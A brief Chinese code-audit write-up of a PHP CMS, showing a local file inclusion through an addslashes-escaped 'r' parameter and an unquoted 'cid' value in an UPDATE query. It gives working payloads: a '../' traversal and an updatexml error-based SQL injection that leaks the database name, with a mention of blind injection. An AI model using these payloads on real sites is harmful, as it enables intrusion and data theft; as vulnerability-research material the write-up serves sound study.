Index.php源码

<?php
error_reporting(0);
$file=addslashes($_GET['r']);
$action=$file==''?'index':$file;
include('files/'.$action.'.php');
?>

文件包含,参数转义了(' " 0),利用方式有限
在网站目录有phpinfo.php文件的前提下,payload为“index?r=../test”。

files/content.php文件
cca7c7d0d18f835f633edd2e5855baa.png
第十九行没有单引号闭合,第八行有使用addslashes转义,但是不影响构造语句
打开mysql记录日志

set global general_log_file='E:\\tmp\\mysql.log';
set global general_log=on;

日志中看到原语句

UPDATE content SET hit = hit+1 WHERE id=18 # 原语句
UPDATE content SET hit = hit+1 WHERE id=18 and updatexml(1,concat(0x7e,(select database()),0x7e),1) # 拼接后

Payload为“?r=content&cid=18 and updatexml(1,concat(0x7e,(select database()),0x7e),1)”
14f4401ec6a943995eecdd58e4f964d.png
也可以使用盲注,文章标题后有点击量,增加为真,不变为假
files/software.php第十三行同样方法